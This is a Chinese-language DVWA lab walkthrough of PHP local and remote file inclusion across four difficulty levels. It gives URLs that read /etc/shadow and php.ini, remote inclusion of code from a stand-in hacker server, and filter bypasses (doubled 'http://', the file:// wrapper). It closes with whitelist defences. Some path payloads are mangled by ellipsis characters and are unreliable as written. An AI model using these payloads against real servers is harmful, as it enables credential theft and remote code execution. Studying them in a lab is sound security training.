一、概念
文件包含指服务器开启allow_url_include选项时。可以通过php的某些特性函数。include()、require()、include_once()、require_once()。利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或任意命令执行。
文件包含漏洞分为:本地文件包含漏洞、远程文件包含漏洞(开启了PHP配置中的allow_url_fopen选项,服务器运行包含一个远程文件)
二、Low级别
1.代码审计
这里可以看见,对get请求传递的参数直接执行。我们可以在地址栏直接写入命令进行文件包含。
2.本地文件包含读取敏感文件
我们点击File1,发现直接返回这个文件,链接显示http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=file1.php
我们将file1.php随便修改成一个不存在的名字,发现返回了文件的绝对路径。
这里给几个比较常见的路径:
http://ip/dvwa/vulnerabilities/fi/page=/etc/shadow //密码文件所在目录Linux系统
http://ip/dvwa/vulnerabilities/fi/page=C:\xampp\htdocs\dvwa\php.ini
http://ip/dvwa/vulnerabilities/fi/page=…\xampp\htdocs\dvwa\php.ini
猴子君是使用Windows server 2008+phpstudy进行搭建的,所以这里猴子君要重新构建一下路径。
首先,我们在服务器C:\路径下创建一个test.txt文件,里面写一段话。
然后我们来访问以下的链接
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=C:\test.txt
发现成功访问。可以直接对路径内的文件进行读取。
访问DVWA的php.ini配置文件
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=C:\PHPTutorial\WWW\DVWA-master\php.ini
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=…\PHPTutorial\WWW\DVWA-master\php.ini
3.远程文件包含代码注入
通过查看php.ini文件发现allow_url_fopen与allow_url_include开启,服务器允许包含远程服务器上的文件
我们在远程服务器写一个php文件命名为test.php
打开kali的apache,将test.php文件导入。
我们输入ifconfig,查看kali的ip地址
构造远程url
http://ip/dvwa/vulnerabilities/fi/page=http://黑客服务器ip/test.php
此处test.php后缀名为任意组合,.txt/.png等都会被尝试执行php,若不是php则直接显示对应内容。
发现已经成功运行。
三、medium级别
1.代码审计
$file = str_replace( array( “http://”, “https://” ), “”, $file );
$file = str_replace( array( “…/”, “…”" ), “”, $file );
对’http://’ 、‘https://’ 、’…/’ 、’…\'进行了字符替换,我们只要输入以上字符就会被替换为空,但str_replace函数是不安全的,只会执行一次,则可以双写绕过。
2.本地文件包含、
将内容替换为以下字段即可绕过。
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./…/./…/./PHPTutorial\WWW\DVWA-master\php.ini
3.远程文件包含
双写http://
hthttp://tp://ip/phpinfo.txt删除了http://即构造成功。
绕过成功!
四、high级别
1.代码审计
其中,fnmatch(“字符串”,“变量1”);表示变量内容应为字符串内容,*代表任意,即变量应为file+任意字符
2.本地文件包含:file伪协议绕过
我们在文件包含文件夹创建一个test.txt文件
输入以下路径即可成功查看该文件
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=file://C:\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\test.txt
查看php.ini配置文件
http://192.168.3.133/DVWA-master/vulnerabilities/fi/?page=file://C:\PHPTutorial\WWW\DVWA-master\php.ini
成功
3.远程文件包含
配合文件上传漏洞利用,上传一个内容为php的文件,再用file协议去包含上传文件,从而实现任意代码执行。
五、impossible级别
1.代码审计
if( $file != “include.php” && $file != “file1.php” && $file != “file2.php” && $file != “file3.php” )
如果不等于上面四个文件则返回error
2.总结
对于需要进行文件展示的服务,我们可以进行白名单验证,只允许访问授权访问的文件,即可将安全性提到最高。
六、防御
1.基于白名单进行防御,确保page参数传递只能是固定的文件名。
2.文件包含与文件上传结合可以直接上传图片文件,执行代码。全面防御。